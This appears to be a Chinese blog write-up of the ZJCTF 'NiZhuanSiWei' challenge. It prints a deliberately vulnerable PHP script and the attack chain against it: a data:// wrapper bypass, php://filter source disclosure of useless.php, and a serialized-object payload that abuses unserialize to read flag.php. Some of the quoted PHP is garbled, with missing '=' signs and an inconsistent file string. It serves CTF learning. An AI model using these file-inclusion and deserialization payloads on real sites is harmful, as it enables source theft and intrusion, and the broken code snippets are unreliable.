ctf (NiZhuanSiWei)

第一层绕过

知识储备

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

file_get_contents() 函数把整个文件读入一个字符串中

preg_match 函数用于执行一个正则表达式匹配。

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

代码审计

<?php  
$text $_GET["text"];
$file $_GET["file"];
$password $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这要求我们上传一个text文件内容为welcome to the zjctf

1.使用data://伪协议

?text=data://text/plain,welcome to the zjctf

为防止被过滤我们将内容转换成base64

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二层绕过

知识储备

include叫做文件包含命令,用来引入对应的文件

php://filter用于读取源码

php://filter参数详解

参数                                                                        描述

resource=<要过滤的数据流>

必须项。它指定了你要筛选过滤的数据流。

read=<读链的过滤器>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

<; 两个链的过滤器>

任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

代码审计

include($file);  //useless.php

发现一个useless.php对其内容进行读取

file=php://filter/read=convert.base64-encode/resource=useless.php

                                                       ? text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php


对内容进行base64解码后得到

第三层绕过

知识储备

serialize()方法功能:将表单内容序列化成一个字符串。

代码审计

 include($file);  //useless.php
        $password unserialize($password);
        echo $password;

我们发现password进行了反序列化那我们要事先对useless.php内容内容进行序列化

<?php  

class Flag{  //flag.php  

    public $file=flag.php;  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

$a=new Flag();

echo serialize($a);

?>  

O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

?    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

<!--?php

if(2===3){  

return ("NSSCTF{9b2e5d34-7ffa-4015-9eb5-c9e4561e5d65}");

}

?-->

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值